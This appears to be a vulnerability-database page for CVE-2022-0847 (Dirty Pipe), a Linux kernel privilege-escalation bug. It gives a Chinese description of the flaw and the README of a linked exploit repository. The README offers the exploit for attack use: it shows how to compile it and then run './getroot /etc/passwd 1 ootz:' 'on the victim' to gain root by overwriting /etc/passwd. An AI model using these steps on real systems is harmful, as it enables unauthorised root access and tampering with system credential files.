CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/b4dboy17/Dirty-Pipe-Oneshot

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞，该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响：Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。

Description

Compled version of CVE-2022-0847 aka Dirty Pipe. Just one shot to root them all :D

Readme

# Dirty-Pipe-Oneshot
### Compiled version of CVE-2022-0847 aka Dirty Pipe. Just one shot to root them all :D
---
just comple the cve-2022-0847.c file

```
gcc cve-2022-0847.c -o getroot
```

then execute it on the victim & get root :D
```
./getroot /etc/passwd 1 ootz:
```

#### Happy Rooting 🎭

File Snapshot


 [4.0K]  /data/pocs/2e376226d70ad657bb64d744080892399d24dc4b
├── [3.3K]  cve-2022-0847.c
├── [ 16K]  getroot
└── [ 299]  README.md

0 directories, 3 files

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